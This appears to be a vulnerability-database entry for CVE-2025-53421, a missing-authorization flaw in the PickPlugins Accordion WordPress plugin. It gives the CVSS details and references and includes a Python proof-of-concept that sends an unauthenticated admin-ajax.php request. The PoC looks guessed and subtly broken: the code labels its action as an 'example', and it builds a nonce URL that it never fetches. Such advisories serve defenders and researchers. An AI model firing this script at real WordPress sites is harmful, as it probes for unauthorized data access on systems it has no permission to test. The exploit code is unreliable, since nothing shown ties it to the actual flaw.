CVE-2025-53421

Description

Missing Authorization vulnerability in PickPlugins Accordion accordions allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Accordion: from n/a through <= 2.3.14.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PickPlugins Accordion <= 2.3.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-53421 PoC - Missing Authorization in PickPlugins Accordion
# Target: WordPress site with PickPlugins Accordion plugin <= 2.3.14

target = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"

# Get valid nonce and test authorization bypass
def test_vulnerability():
    # Step 1: Get WordPress nonce
    nonce_url = f"{target}/wp-admin/admin-ajax.php?action=pa_get_nonce"
    
    # Step 2: Exploit the missing authorization
    # The vulnerable endpoint doesn't properly check user capabilities
    exploit_data = {
        'action': 'accordions_get_taxonomy_term_data',  # Example vulnerable action
        'term_id': '1',
        'taxonomy': 'accordion_category'
    }
    
    response = requests.post(
        f"{target}/wp-admin/admin-ajax.php",
        data=exploit_data,
        timeout=10
    )
    
    if response.status_code == 200:
        print(f"[+] Potential vulnerability confirmed")
        print(f"[+] Response: {response.text[:500]}")
    else:
        print("[-] Request failed or endpoint not vulnerable")

if __name__ == "__main__":
    test_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53421
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53421
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53421/
[4] VulDB https://vuldb.com/cve/CVE-2025-53421
[5] https://patchstack.com/database/Wordpress/Plugin/accordions/vulnerability/wordpress-accordion-plugin-2-3-14-broken-access-control-vulnerability-2?_s_id=cve

Raw JSON Data

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